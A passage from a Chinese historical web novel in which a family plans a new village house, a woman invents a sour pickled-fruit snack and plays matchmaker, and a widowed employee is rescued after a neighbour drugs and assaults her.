他们的户籍地,落户的就是围山村,也算是祁家的根了。 老太太和祁晟还在围山村生活了十几年,自然也有割舍不下的感情。 老太太无奈笑道:“就咱们家的那破茅草房,都这么久了,应该早就榻了。” 摇了摇头,回了院子。 但陆鸢心里也有别的想法。 晚间,陆鸢给灿哥儿喂饱后,与祁晟道:“今年中秋,咱们回围山村吧。” 祁晟叠着衣裳,道:“中秋花灯节,夜市街会很热闹,你就不担心摊子和铺子忙不过来?” 陆鸢给小家伙拍着奶嗝,说:“过年的时候,我不也没去,一样都忙得过来,人手够了。” 祁晟:“可咱们没有落脚的地方,那茅草房已经塌了。” 陆鸢眉眼清亮地看着他:“塌了,正好咱们可以建个新宅子,乡下建宅子,会便宜很多。” 人工材料都是现成的,都不用经过中间商。 过了农忙的时间,村子里多的是劳动力,而且村子里每家每户都会备上一些木材,可以先买来建房子。 “咱们也不需要建太多屋子,就建三间住人的小屋,俩姑娘一间,老太太一间,我们就先住一间,等孩子长大了,再多扩建两间屋子,三件屋子,三十贯钱就足够了。” 祁晟琢磨了一下,道:“离中秋只有两个月了,屋子不是特别大,人手也多些,应该能在中秋的时候赶完。” 夫妻俩默契地对视了一眼,祁晟道:“过几日休沐的时候,我回一趟围山村。” 陆鸢道:“到时候,我和你一块回去。” 想了想,又道:“在这几天,我也可以想想怎么建。” “先不要告诉老太太,给她一个惊喜,建好之后,也可以时不时的回去小住。” 孩子一个时辰左右就得喂一次,离不得陆鸢。是以,回围山村的时候,陆鸢把他给带上了。 家中给春花秋花请了女先生,自是不能跟着回去,只能待家中上课。 祁晟哄骗祖母,说是要带孩子去寺庙里头求个平安,却省下求了平安后,会回一趟围山村的事。 车上有孩子,马车得比平时慢些。 原本陆鸢还担心灿哥儿会闹,谁承想该睡睡,雷都打不醒。 一个半时辰后,他们才回到围山村。 回到围山村,恰好碰上了从地里赶牛车回来的刘三郎。 刘三郎诧异道:“怎的忽然回来了?” 祁晟便与他道:“先把先前的屋子建起来,以后回来小住也有个落脚处。” 听到他说以后还会再回来围山村,刘三郎不由得笑了:“怎的忽然决定回来建房子了?” 陆鸢笑道:“户籍都在围山村,不在这建房子扎根,还能到哪扎根。” 祁晟道:“正好要去一趟你家找你爹,一块回吧。” 到了里正家,祁晟把两条五花肉递给里正娘子。 里正不让接,道:“回来就回来还买什么肉,咱们家还是能给你们一口饭的。” 陆鸢笑道:“这天这么热,再带回去该臭了,那就浪费了。” 听到这么说,里正才让自己婆娘接过肉,还叮嘱道:“快些去做饭吧。” 里正娘子笑应道:“成成成,我再让老大两个孩子去河里逮两条鲫鱼,卖两块豆腐炖汤喝。” 里正娘子让儿媳做饭后,就招呼陆鸢道:“外边热,快进屋凉快凉快。” 入了堂屋,祁晟才说明回来的目的。 里正递了一把蒲扇给祁晟,道:“这刚收割了粮食,村子里的劳动力也都空,都琢磨着去镇上和城里找点零工干呢。” “要是你们真决定建房子了,他们也能帮搭把手,按着村子里的工钱给就成了。” “你觉得咋样?”里正看向祁晟。 祁晟接过了扇子,就慢慢悠悠地朝着妻儿扇去道:“那肯定是没问题的,这事情我想请三哥来做监工,毕竟我这在公署还要活,不能时时刻刻回来。” 刘三郎笑道:“让我做监工,那成呀。” 祁晟与他道:“肯定不会亏待三哥的。” 里正道:“这且先不说,先说你们的宅基地,还是原本那地方吧?” 祁晟点头道:“那地够用了,把院子缩小一些,加上堂屋就建四间屋子,也不需要特别大。” 里正点了点头,说:“那这地方也不小了,院子倒不至于要缩小,再给你们多划一点地,等孩子大了,也有地方玩耍。” “你这打算请多少人来帮忙?” 祁晟道:“我们想在中秋前建好,好回来过中秋,让祖母高兴高兴。” 里正一算日子,道:“也就两个月时间了,这还要重新挖地基,要是只请四五个人的话,很有可能赶不及。” 祁晟道:“那就多请几个,工钱这边肯定是没问题的,最重要的是能在中秋的时候建好。” 刘三郎道:“那有你这句话,肯定就不成问题了。” 聊了好一会,祁晟给刘三郎看了图,简单易懂,就是屋子的线条图,一看就知道什么情况,只是需要去看一下地基的实际大小。 几个人去了一趟已经倒塌的老宅子,去丈量宅基地的位置大小,才能在图上标上每间屋子的长短。 先前陆鸢一直没能回来,所以也不知道几间茅草屋倒塌成了什么样子。 现在一看,只能用惨不忍睹,一片狼藉来形容。 这框架都倒了,茅草都不知道吹到哪里去了。 这岭南的飓风虽然不大,但也会受到影响,茅草也不重,年久失修,肯定会被吹飞了。 因瞧着围山村最有出息的人衣锦还乡,好些人都过来瞧热闹。 黄兰正挑着担子回家,瞧见陆鸢,忙不迭地放下担子跑了过来,问:“你们咋回来了?” 陆鸢便解释道:“想在村里建屋子,以后逢年过节便回来一趟。” 黄兰惊诧道:“都去了繁华的广康城,咋还想不开,还记挂着这破落小村子呢?” 陆鸢忙“嘘”了一声,瞧了眼仔细丈量,商量的几人,压低声音道:“这话可别让里正听见了,里正会不高兴的。” 黄兰也意识到这话不合时宜,便心虚地也压低了声音,说:“不过你们能回来也好,我们也能多见见。”瞧向陆鸢怀里的小家伙,说:“我就没见过这十里八乡那户人家的孩子长得这么好看,这么养眼的。” 陆鸢道:“小孩子可不能夸好看,得说得长得丑,长大了才好看。” 黄兰望着白嫩嫩的小娃娃,这说难看就太违心了,违心到她都说不出口。 “你自个瞧瞧你家娃儿,说句长得丑来听听。” 陆鸢也低下了头。 灿哥儿才个把月,眼睛还没完全睁开,但瞧着肯定和丑不搭边,“不好看”的话到了嘴边,又生生地咽了下去。 看着自己的孩子,说自己孩子丑,她还真说不出口。 黄兰“啧啧”了两声:“瞧瞧,你自个都说不出口,还让我说。” 随即道:“我回去换身衣裳,再来抱抱孩子。” 陆鸢道:“他们一时半会也弄不完,我先去嫂子家里坐着。” 黄兰:“成,家里别的什么没有,茶水还是有的。” 第127章 黄兰换了衣裳出来, 把灿哥儿抱到怀里,问陆鸢:“你们建房子,可是要请村子的人帮工?” 陆鸢道:“那是肯定的。” 黄兰:“那让我家大山也去帮忙呗。” 陆鸢道:“没问题,我去和郎君说一声就是了。” 她继而问:“咱们这乡下建房子, 帮工一日都给多少银钱?” 黄兰道:“都是乡里乡亲, 一般都是包一顿午饭, 再给十文钱一天,镇上的话, 可能就有十五文一天,但你也知道这累了一整日, 还要走个把时辰回来, 这身子都得累垮了,所以呀就算是银钱少一些, 还是帮乡里干活的好。” 陆鸢点了点头, 随后闲聊了一会, 正好祁晟来喊了, 也就先回里正家里。 走回去的时候, 陆鸢与他道:“刚问了一嘴嫂子,她说乡下包中食, 一日工钱十文钱,这也太少了些。” 祁晟道:“乡下都是这样, 咱们不在村里盯着, 便多添两文。” 陆鸢道:“可这做饭呢?” 祁晟道:“这就更简单了,请个妇人来帮忙煮一顿, 三日一次赶集,买一次肉可以吃两日,帮工肚子里也能有些油水。但要是直接折现的话, 估计也舍不得油水,身体也扛不住,出了事也不好。” 陆鸢赞同地点了点头。 虽然请人做饭是麻烦了一点,但也能确定帮工肚子里有油水,不至于拿了饭钱也不舍得吃,每日依旧糟糠噎菜,上工也力不从心。 祁晟问她:“但请谁来做饭,你心里有没有人选?” 陆鸢道:“就让黄兰嫂子来做中饭吧,黄兰嫂子也就是嘴巴碎了一点,但为人是真的好,肯定不会昧下菜钱的。” 两人和里正交代了一些事,吃了中饭后,祁晟给刘三郎先留下了十五贯钱,等下回回来,不够的再补上,接着就回了广康城。 回至家中,老太太嘀咕道:“这去法陀寺也不远,你们怎的去了那么久。” 翠娘在一边搭话道:“老太太都担心坏了,一听到车轱辘的声音,就要出去瞧一眼,要是傍晚前回不来,老太太估计都要去报官了。” 陆鸢道:“坐马车觉得有些累,也就歇了会儿,所以才回来晚了。” 刚下马车那会儿,灿哥儿也醒了,陆鸢就把他放到屋檐下的小床上。 春花秋花可喜欢软软糯糯的弟弟了,每日醒来的第一件事,就是跑到床头,趴在床沿,一口一个“弟弟”“灿哥儿”地叫着。 还会趁着大人不注意,偷偷地亲一口弟弟。 因着先前刚出生没多久,灿哥儿总是脸红,陆鸢就不让人亲他,或是摸他的脸,现在抵抗力好些了,才会装作没看见她们偷亲。 陆鸢把从法陀寺山脚买的李子和青色的芒果拿了出来,老太太道:“这两个果子都酸得很,也没什么人吃,你买来做什么?” 陆鸢笑道:“当然是想着弄新吃食了。” 老太太道:“酸不拉几的,能有人吃吗?” 陆鸢耸肩,与他们说:“不管怎样,先做出来尝尝。” 说罢,就拿着果子去洗。 老太太见了,念叨道:“你还真真是闲不下来,这才出月子多久,你就已经捣鼓上了挣钱的活计。” 陆鸢道:“我这不是忽然有想法,就做了。” 今日到了法陀寺,见着有人买李子和这酸芒,她立即就想到了后世岭南出名的小吃。 酸料。 陆鸢烫了砧板和刀子,然后把每个李子都压一下,再放进了碗里,再弄了点浓稠的糖水放进去搅拌,腌制了一刻后,才放入蒜蓉,紫苏叶子,酸梅粉,还有少许盐。 而芒果则是削皮切成了块,也放了糖水腌制。 等差不多了,也是放酸梅粉和盐,还撒了一些红色的茱萸粉进去搅拌。 两样都同样腌了一会,才端出去给大家伙吃。 老太太吃了一口,就酸得不想吃第二口,便是祁晟也不好这一口。 反倒是陆鸢和翠娘,还有春花和秋花几个吃得停不下来。 老太太见陆鸢还要继续吃,连忙制止:“你还要奶孩子呢,尝点滋味就好了,别吃得太多了。” 陆鸢这才作罢。 怕孩子们吃得酸牙,也怕闹肚子,也就没让他们多吃。 看来,这小食还是得分受众的,能做,但不见得和糖水一样卖得好,但好歹有受众,而且在夜市街也没见着有人卖,能挣一点是一点。 今天正好是双日,陆鸢吃过暮食后,就多做了一些,送去了夜市街。 先让帮工们先尝。 天热,夜市又多请了三个临时帮工,也就是先前请过的那几个。 七个人都尝过了之后,三个吃得不习惯,三个就没停过。而剩下的何柔,吃了一小口,仔细嚼了一下,皱了皱眉,然后又吃上一口,也不知道她觉得好吃还是不好吃。 瞧着何柔的表情,陆鸢猜想,她应该是觉得味道怪怪的,但又忍不住吃第二口。 陆鸢道:“我做了好些,今晚就先还是先免费送,免费尝,下回再弄一些来卖,两文钱一碗。” 这两种果子酸,大多是买来做果脯,所以很是便宜,李子和青皮的芒果都是一文钱一斤。 胡七娘吃了好些酸料就不吃了,问:“东家,你什么时候回来?” 陆鸢道:“孩子还小呢,先看情况吧,不过我倒是双日的时候可以过来半个时辰。” 何柔撒娇道:“嫂子,你不在的这段日子,我都可想你了。” 小姑娘的眼睛已经恢复了,但仔细看的话,也是能看出少许区别的。 一浅一深,在光线足的地方仔细瞧,就好像是异瞳。 对于差点瞎了一只眼的何柔来说,已经很好了。 再者,在夜市待久了,总得扯着喉咙说话,久而久之,何柔不仅一点都不自卑了,甚至性子都比之前要活泼了很多。 陆鸢点了点她的鼻子,笑道:“要是想我了,单日就过来,顺道帮我带带孩子。” 当然不能是叫她过来带孩子,眼睛好了之后,何柔喜欢刺绣,来家里的时候,都会缠着老太太教她。 这时候,满娘的两个孩子从夜市街上跑了回来,两个人的手上都抓着一把烤串。 满娘愣了一下,问他们:“烤串怎么来的。” 满娘的一个孩子十岁,一个六岁。 大的是闺女,小的是儿子。 先前生病的就是闺女,吃了一年的药,日子也好了些,这才慢慢地给养好了。 小儿子仰着头,神气道:“是嵇叔给我们买的。” 说到这,忽然发出惊人之语:“娘,嵇叔什么时候可以做我们爹……” 话一落,就被他姐姐给捂了嘴。 陆鸢瞧了眼满娘,只见她脸色煞白。 她适时解围:“孩子就是爱乱说话,见着人给买烤串就要认人家做爹,小不害臊。是不是丽姨给你买糖吃,你就得喊我娘呀?” 胡七娘也是看破不戳破,也打哈哈道:“我家那小子也是一个德行,卖货郎给他一颗糖,他都能追着喊爹,因这事,没少被他爹揍。” 听到这些话,满娘暗暗地松了一口气,拉过儿子,温声道:“这话以后可不能乱说了,娘会生气的。” 陆鸢心想满娘还真是个温柔的人,生气了都能这么温柔。 眼瞅着时间也差不多了,她站了起来,道:“那我就先回去了,你们忙吧。” 家里离夜市街近,也就一刻多时辰的距离,且天色刚黑,这一路都是人,陆鸢便没有人祁晟跟着。 回了家中,翠娘小声与她说:“郎君刚出去了一趟,而小郎君还没醒。” 陆鸢点了点头,轻手轻脚地回屋拿了衣裳去洗澡,出来后,就去给春花秋花说故事。 祁晟这时候回来了,陆鸢从窗户探出头,问他:“刚去哪了?” 祁晟洗了手,道:“方才陈副将和嵇捕头来寻了我,就出去吃了两盏酒,原本想去寻你的,她们说你回来了。” 陆鸢把头缩了回去,没一会就从孩子的屋子中出来来,凑到他身边,问他:“那嵇捕头和满娘是怎么回事?” 祁晟看向她:“你是说嵇捕头给满娘孩子买烤串的事?” 陆鸢:“何止,那小磊更是语出惊人,说想让嵇捕头当他爹。” 祁晟想了想:“我也不大清楚,但瞧着,两人之间却是有那么点奇怪。” 陆鸢:“何止是奇怪,是暧昧,要是真有那么点意思,其实也是能撮合撮合的。” “你看,那嵇捕头糙汉子一个,满娘又温柔贤良,多般配!” 祁晟愣了一下,没意会到,疑惑地问:“怎么个般配法?” 陆鸢笑道:“糙汉配温柔寡妇……” 没说完就直接被祁晟给捂住了嘴。 陆鸢瞪他,祁晟道:“在屋外呢。” 她看话本,不爱看玉面公子俏佳人,反倒喜欢看那些莽汉,糙汉子和性子软绵的娘子。 但因为话本都是那些酸秀才写的,几乎都没有适合她看的话本。 陆鸢拍开了他的手,压低声音说:“咱们就先相互试探试探,要是双方都有意思,那就撮合一下,怎样?” 祁晟点头:“也行。” 与嵇捕头也有一年半的交情了,自是想看到他身边有个伴的。 夫妻俩说完悄悄话,一转身就看到春花秋花趴在窗口看着他们,两双眼睛亮晶晶的。 秋花问:“娘,糙汉是什么?” 祁晟:…… 陆鸢:…… 面面相觑了一眼,祁晟解释:“就是那些做苦力活的汉子,没什么可奇怪的。” 秋花还想说什么,陆鸢忙道:“都这么晚了,还不快去睡,明日一早你们还得跟先生学绘画呢。” 说着就就了屋,把窗户里头的纱帘放下,念道:“别总把帘子撩起来,等进蚊子了,叮得你们满脸包,可别怪我没提醒你们。” 没一会,屋子里就熄了灯。 陆鸢和祁晟回了屋,恰好灿哥儿刚醒,她也就顺道喂了他,继续哄他睡。 但今晚也不知他怎的这么精神,祁晟沐浴回来,他还没睡。 祁晟道:“他白日是不是睡多了。” 陆鸢见孩子爹进来了,直接摆烂,躺到了里头:“不知道 ,你来哄。” 祁晟只得上前,仔细检查了一下尿布。 陆鸢:“刚换了,也不知怎的忽然这么精神。” 祁晟道:“应当是烛火太亮了,我先熄了。” 熄了烛火后,祁晟上了榻,轻拍着小家伙。 好一会后,陆鸢问:“睡着了吗?” 祁晟应:“好像睡着了。” 陆鸢也困了,嘱咐道:“你记得明日上值的时候去问一嘴,我明日也趁着是单日,夜市街小院那边没别人,也去问问。” 这大家伙晚间都回去,院子也就空出来了,从满娘孩子口中知道他们原先住的地方鱼龙混杂,也有人骚扰他们娘,陆鸢索性让满娘搬到后院去住,顺道看一下院子。 他们院子也添置了许多东西,也怕单日没人的时候,有人会去盗窃。所以不仅是帮了满娘母子三人,也相当于方便了自己,一举两得。 第128章 陆鸢和祁晟昨晚就说好了分别行动, 他去打探嵇捕头,她去探满娘的口风。 她晓得满娘要去给嵇捕头做饭收拾,所以早早就从市集上各买了几斤的李子和芒果,带着两个孩子去了夜市小院。 满娘和孩子们刚吃完早饭, 见着东家来了, 有些诧异的问:“东家今日怎的过来了?” 陆鸢转头笑着和春花秋花说:“和姐姐弟弟去巷子里头玩, 别跑太远了。” 春花秋花姊妹俩,两人两只手各拿了一串糖葫芦, 都分了一串给满娘的孩子。 两个孩子看了眼娘,看见娘点头后, 才把糖葫芦接了过来, 和春花秋花一块出去玩了。 孩子出去玩了,陆鸢才转头与满娘道:“想着过来与你说说这酸料怎么做, 等明日也不用等我过来再做。” 满娘一愣, 有些慌了:“这、这新吃食的配方, 真能教我吗?” 陆鸢笑道:“那算得上什么配方, 人家吃几回就能知道用了什么材料做的。再说了, 这吃法特别,十个人里头, 估摸着也只有三四个人能吃得惯的,所以也不需要太藏着掖着。” 陆鸢道:“你学会之后, 也可以在单日得空时, 弄一些到东市上摆卖。” “梅子的病虽然好了七八成,但这身子骨还是比寻常孩子弱了些, 还是得好好养着,少不了吃肉,吃些补汤, 多攒点钱,准没错。” 满娘迟疑道:“可是,这是娘子自己琢磨出来的吃食。” 想了想,她道:“若不然买来的银钱,我只要三成?” 陆鸢笑道:“拢共就挣不到多少个铜板,还分了我三成,你还能得什么银钱。” “若你真的觉得过意不去,就给我三成好了。” “估计都不用一个月,别家都能做了,所以你就给我半个月就好。” 满娘听到东家的提议,心里还是觉得过意不去。 瞧着满娘的纠结,陆鸢当机立断道:“事就这么说定了,别婆婆妈妈的了,快来帮忙。” 满娘,忙去洗果子,给芒果削皮。 陆鸢便站在一旁教她怎么做。 这前边的步骤非常简单,一教就会。只是放配料的时候多叮嘱几句而已。 陆鸢:“这些没放料的能放久一些,好歹能放一个时辰,但放了料的,大概小半个时辰就已经有些许的变味了,所以腌制的时候,先做少量,等卖得差不多了,再做新的,但一定不能和旧的放一块,省得弄乱了。” 满娘连连点头。 陆鸢做了一些酸料,然后也让满娘尝试着自己做一些。 满娘正做着酸料,陆鸢试探地问道:“满娘,你就没想着改嫁吗?” 满娘以前也是盲婚哑嫁,丈夫两年前就病逝了,她一个寡妇便拉扯着两个孩子,也没个人帮衬,不知受了多少的欺负。 更别说有着几分姿色,无依无靠的寡妇了。 满娘压果子的动作一顿,随即继续,垂着眸子道:“守寡一年的时候,倒是有人劝我改嫁,但我怕别人家里对我的孩子不好,孩子要看人眼色过日子,便没应。” 陆鸢道:“可要是遇上人好,对孩子也好的良人呢?” 说到这话,也不知满娘忽然想到了谁,顿了几息才道:“良人怎有那般好遇。” 说着,继续忙活,说话的兴致不大高了。 听上去,满娘的态度没有那么抗拒,若是遇上合适的人,她是愿意的。 知道这点,陆鸢觉得够了,至于其他的,就让男人来主动。 探了口风,也做了酸料后,陆鸢便带了一些回去送给左邻右舍。 晚间,夫妻俩开始分析满娘和嵇捕头的态度。 陆鸢:“听着满娘的意思,她是不抗拒再婚的,但前提是要对她的孩子好。” 祁晟道:“嵇捕头的意思是随缘,我倒是记得去年公署其他人问他时,他说一个人过也挺好,没有那么多的牵挂。” 陆鸢眼睛一亮,连连拍打着祁晟的肩膀,道:“有戏有戏。” 祁晟无奈道:“八字都还没一撇呢。” 陆鸢:“一撇的开头都有了,还担心写不成一个八字?” “这嵇捕头去年还说着不成家了,但现在却改了口风,那很有可能是因为有哪个人让他改变了想法,别的不说,与他接触的最多的就是满娘。” “再说了,就满娘年前问的话,还有她那俩孩子对嵇捕头的态度也很亲近。” “嵇捕头为人正直,人品也不用说了,但长得人高马大,平日也不爱笑,要不是了解他的为人,还真让人害怕。可那两个孩子这般亲近,足够说明嵇捕头待他们如何了。以嵇捕头的为人,这些好也不能是作假的。” 祁晟笑道:“便是如此,你我也总不能直接给他们牵红线吧,若是戳破了,却没有那个意思,往后还如何相处?” 陆鸢仔细想了想,几息后便有了主意:“你漫不经意地在嵇捕头面前提一提,说我想给满娘介绍个郎君,正在物色人选,若是嵇捕头在意的话,必然有所行动。” 祁晟反问:“若是没反应呢?” 陆鸢摊手道:“做了这些都没用,要么就是无缘无分,要么就是慢慢磨,反正咱们都撮合过了,做得再多就越界了。” 这可不比后世,牵红线,吃个相亲饭,不成也不会有人说三道四,日子该怎么过还是怎么过,但这时代可不成。 二人商量过这事,陆鸢又问:“你下回休沐,要不要再回一趟围山村,看看进度?” 祁晟道:“这刚开始建,还是要回一趟的,你就别回去了,我自己回去就成。” 陆鸢点了点头,随后道:“你回去的时候,顺便去镇上打家具的铺子瞧瞧。毕竟打家具也要时间,趁着这次回去,就把家具都打了吧。” 祁晟记到心下,应了声“行。” 陆鸢让祁晟故意透露给嵇捕头,说要给满娘牵红线的事,小半个月都过去了,也没见有什么动静,她都想着还要不要继续牵线了。 等夜里去夜市的时候,满娘却罕见的告了假,但两个孩子却放在了小院。 陆鸢问满娘的大闺女:“梅子,你知道你娘怎么了吗?” 梅子应道:“娘说她要出门办事,过几日才回来,还让以前的邻居婶婶给我们送了饭钱过来,让我这几日自己买吃的。有事的话,找何柔姐姐,或是七娘婶婶。” 陆鸢觉得有些奇怪,这俩孩子才多大,满娘就该放心让她们自己住。 不过转念一想,先前为了生计,更为了给孩子治病,她都已经打算卖身为婢,让孩子暂时自己过活。 陆鸢与他们道:“你们娘这几日不在,太晚了也不要出去,平日出去玩也不能跑太远,我会让翠娘婶婶给你们送朝食,中食,还有暮食过来。” 两个半大的孩子早间翠娘要出来买菜,也可以顺便把早食送过来。 嘱咐了两个孩子后,陆鸢才去问胡七娘:“满娘是怎么了?” 就算有急事,也不能连生活费都是托人送过来。 胡七娘看了眼通往后院的门,压低声音道:“听来送银钱的妇人说,满娘家里遭贼了,她伤了脸,怕孩子担心,且也不适合来上工,就让人帮忙送银钱过来,在家歇几日。” 说到这,七娘也很担心:“连孩子都不见,肯定伤得很重,怪让人担心的。” 陆鸢看了眼时辰,这个时候离开始还有一个多时辰,其他人也在做开市的准备。 她仔细想了想,道:“你一会和我去一趟满娘的家里,你去叫牛车,我去问梅子,她家住哪。” 胡七娘解下围裙,道:“行,我现在就去找车。” 陆鸢问了梅子地址后,梅子问:“婶婶问我们家里的什么?” 陆鸢笑道:“当然是为了下回去你们家里做客了。” 梅子道:“可是阿娘说,要退了现在的家,等过些日子,就在夜市街租一个院子,不在那里住了。” 陆鸢试探的问:“为什么?” 满娘的儿子应道:“那里的人,坏。” 陆鸢心里大概知道怎么回事,也没过多询问,只笑道:“那好,以后搬新家了,我可以去你们家做客吗?” 两个孩子都重重地点了点头。 牛车也到铺子外了,陆鸢便叮嘱何柔帮忙看一下孩子,她便先出门了。 依着两个孩子给的地址,牛车行了近乎半个时辰才到广康县最为靠近城墙的地方,远离城中繁华之地,房租可能和夜市街差不多的价钱。 找到了巷子,问了个妇人,那妇人古怪地看了她们一眼后,才指明了准确的宅子。 寻到满娘的家,院门紧闭。 翠娘上前敲门,坐在巷子里择菜,做针线活的人,都往她们看了过来。 眼神中带着探究。 敲了好一会门没人应,旁边才有个妇人说:“那寡妇刚退了租,搬走了。” 陆鸢愣了一下,问:“可知帮到哪里去了吗?” 那妇人摇头:“大家伙跟她都不熟,怎的会知道她搬到哪里去了。” 另一人接口道:“估计是搬到老相好哪里去了,那老相好过年的时候还来过一趟。” 过年来过一趟,不就是嵇捕头吗? 陆鸢又问:“我听说满娘家里遭贼了,可知是怎的回事?” 话一出,大家伙都安静了,有个别视线看向了另外一家大门紧闭的宅子。 陆鸢心下多了些猜想,但在别人的地盘,也没继续探究下去。 陆鸢和七娘便先行离开了。 离得远了,七娘才道:“总觉得这里的人好奇怪。” 陆鸢也是这么想的。 回了夜市街后,陆鸢就先回了家。 这个时辰,祁晟也下值了。 等喂了孩子后,可以让祁晟带她去寻嵇捕头。 满娘毕竟也是认识的人,还是在自己铺子里帮工的人,自然做不到坐视不理。 第129章 陆鸢随着祁晟找到了嵇捕头的家。 嵇捕头看到他们夫妻俩, 有些诧异:“你们怎么来了?” 陆鸢开门见山就问:“满娘在不在这?” 嵇捕头皱着眉头道:“可是发生什么事了?” 瞧着,嵇捕头也不知道满娘遇上了什么事。 陆鸢便把满娘家中可能遭贼的事告诉了嵇捕头。 嵇捕头神色一沉,道:“稍等,我换身衣裳。” 夫妻俩在门外等了好一会, 然后就看到嵇捕头把刚换下的捕快衣裳又穿了回去, 还配上了腰刀。 陆鸢问:“这是准备去哪?” 嵇捕头道:“先问清楚到底发生了什么事, 再找人。” 也是,这身皮就能震慑人。 到了原先满娘居住的巷子, 陆鸢在马车里头等着,祁晟和嵇捕头则去询问。 过了小半个时辰, 陆鸢就听到从巷子里头传出叫喊声:“你们干什么, 我儿没做错,完全是那个寡妇勾引的, 我儿不愿, 她还反咬一口, 说是我儿去偷东西, 轻薄她, 还把我儿给砸伤了,我都还没找她算账呢!” “快放开我, 是那个寡妇勾引的我!我认出来了,你就是那寡妇的老相好, 我看你是胆大包天, 敢冒充捕快!” 陆鸢听到这些话,哪里还听不明白。 这是遇上了小说里边经常出现的情节了, 寡妇被人盯上了,明明是被害人,从别人的口中出来却成了加害者。 “不许带我儿走啊啊啊啊!” 陆鸢掀开一角帘子往巷子里瞧去。 只见嵇捕头提着一个又矮又胖的男人, 男人额头上包裹着一层纱布,一个胖妇人在前边拦阻着不让走。 祁晟倒是不慌不忙地跟在后头。 嵇捕头冷冽地看着老妇,声音冰冷:“现今只是带去公署协查,可现今拒捕,按律先杖三十再审。” “你们可要拒捕?” 老妇还是拦着:“我不管,你不能抓我儿。” 嵇捕头道:“拦着也成,回公署后,即刻打板子,有本事拦着,我也能把人带走。” “三十板子下去,你儿子现在这样子,能不能活,就看天意了。” 说着,提着男人后衣领,直接单手把整个人提起,双脚离了地。 男人顿时白了脸。 老妇还没怕,那男人就怕了,嚷着:“娘,你让开,我没犯事,他们就算把我拉去公署,我也不认,我还要状告他们滥用职权抓人!” 见着男人一只手就能把自己儿子给提了起来,老妇没再敢继续拦。 嵇捕头把人押回公署,祁晟则去赶马车。 陆鸢问:“咱们现在去哪?” 祁晟道:“方才与嵇捕头商议过了,他先带人回去,我们沿着附近的小栈找找满娘的踪影。” 陆鸢追问:“方才发生了什么事?” 祁晟应道:“我们找了附近的人审问了一遍,嵇捕头震慑住了他们,便如实交代了。” “今日一早满娘回来退租,但不知怎的就从她家中传出呼救声,然后就见满娘惊惶失措地跑了出来,其他人进去看的时候,就看见那男人满脸的血,地上还有个烛台。” “逼问之下,听说才知早间那妇人给满娘送去了吃食,我们去了满娘家里,把残留的汤水检查了一遍,才发现那汤水里头有蒙汗药。” 嵇捕头办案多年,一闻就知道什么门道。更别说是那些粗制滥造的蒙汗药。 “许是满娘有警惕心,所以并没有喝那汤水,但那家母子以为喝了,就想行不轨之事,不过真实是如何的,还得审问才能确定。” 陆鸢听了这些话,心里头就更担心了:“满娘呢?旁人怎么说的?” 祁晟道:“那些邻居东一句西一句,说得并不具体,只知满娘拿了些东西后,就离开了,脸上好像伤了,用手捂着。” 两人问着路人,也从附近的小栈问了一路。 问了好几家的小栈,都没找着人,陆鸢忽然道:“满娘那么关心两个孩子,怎可能真的放心就让两个半大的孩子自己住。” 祁晟闻言,会意地看向她:“你的意思说,在夜市附近?” 陆鸢连连点头:“咱们去夜市周围找。” 夜市周围也有很多的小栈,比其他地方贵个几文钱,倒也不算特别贵。 在夜市附近找了五家小栈,才找到满娘落脚的小栈。 祁晟在柜台前等着,是陆鸢自己去敲的门。 屋内传出满娘颤抖而警惕的声音:“是谁?” 瞧来今日的事,是真的吓到满娘了。 陆鸢开了口:“满娘,是我。” 听到东家的声音,满娘好一会才来开门,她脸上戴了面纱,视线畏畏缩缩地,不敢看陆鸢。 “东家你怎知道我住在这里的?” 满娘的声音有些沙哑,瞧来是哭过了。 陆鸢道:“方便进去坐坐吗?” 满娘让了位置,还是不敢看陆鸢。 门阖上后,陆鸢才与她说:“今日我和郎君,还有嵇捕头去了一趟槐花巷。” 听到这里,满娘的声音更加颤抖:“你们知、知道了?” 陆鸢:“只了解一些,嵇捕头把那男人给押回公署去了。” 满娘闻言,惊愕地看向了陆鸢。 陆鸢这才注意到她眼眶已经肿了,左边眼尾有些红肿。 “你吃暮食了吗?”她问。 满娘轻轻摇了摇头。 别说暮食没吃,便是中食也没吃了。 陆鸢道:“你等等。” 她去打开房门,朝柜台的祁晟喊了声:“晟哥,你去买些吃的回来吧。” 祁晟点了点头,随即出门去买吃食。 陆鸢关上了房门,回到了原来的位置上,看向满娘的脸:“我能瞧瞧吗?” 满娘把脸上的面纱取了下来,半张脸都红肿泛紫了,难怪不敢让孩子看到了。 陆鸢看到了满娘脸上的伤,心下气愤到了极点,但还是轻声问:“上药了吗?” 满娘点了点头,没忍住红了眼眶,眼泪从眼眶中流了出来:“那刘福知道我想搬走,想强迫我,我没从,他便打了我。” 陆鸢拉过了满娘的手,轻轻地拍了拍,安慰道:“你放心,那个人会遭到报应的,他们母子也都会恶有恶报的。” 满娘捂着脸一抽一抽地哭了起来。 过了好半晌,房门才被敲响,陆鸢去开了门,门外站着的不仅有祁晟,还有还没换下衣裳的嵇捕头。 祁晟低声解释:“他在摊位等着,碰巧见到了。” 陆鸢拿过了吃食,说:“我再陪满娘一会。” 嵇捕头道:“我在这小栈也定下了一间房,就在隔壁,你与满娘说,有事便来寻我。” 夜市双日晚上鱼龙混杂,特别是这些不怎么正规的家庭小栈。 陆鸢点了点头,接过吃食后,陆鸢把门关上,然后放到了桌上。 她与满娘道:“方才嵇捕头说的话,你听见了吧?今晚也能好好睡个安稳觉了。” “梅子姐弟俩你也没太担心,我让七娘这几日都留下来陪他们了。” 满娘点了点头,声音哽咽:“谢谢东家。” 陆鸢摇了摇头:“举手之劳。” “吃些东西吧,不要为不相干的人熬坏了自己的身子。” 祁晟用摊子的碗装了一碗馄饨过来,还有自家摊位的油条,豆乳。 陆鸢道:“这几日好好休息,别想太多,也别听太多别人嚼舌根,日子是自己过的,好好过就成。” 满娘情绪稳定了一些,点了点头,随后道:“东家你家里还有孩子要照看,快回去吧,我好多了。” 陆鸢道:“你好好歇着,明日我再带瓶祛瘀活血,消肿的药过来。” 陆鸢从满娘的屋子出来,祁晟和嵇捕头在柜台前说话。 因着嵇捕头一身捕快的衣服,那柜台后的掌柜都有些慌里慌张的。 陆鸢问了嘴嵇捕头:“那人怎么处理?” 嵇捕头道:“等明日满娘平复些,再与她仔细说说,若她能状告刘福,这事情就能顺理成章了。” 陆鸢点了点头,然后和祁晟一块回去了。 回去路上,陆鸢为今日满娘的遭遇愤愤不平:“那人一定得严惩,不仅下药,还想强迫妇女,更是殴打妇人,这人不打残了,真真的没天理,最好就是把他给阉了,省得还去祸害别人!” 马车外的祁晟听到这话,不禁失笑。 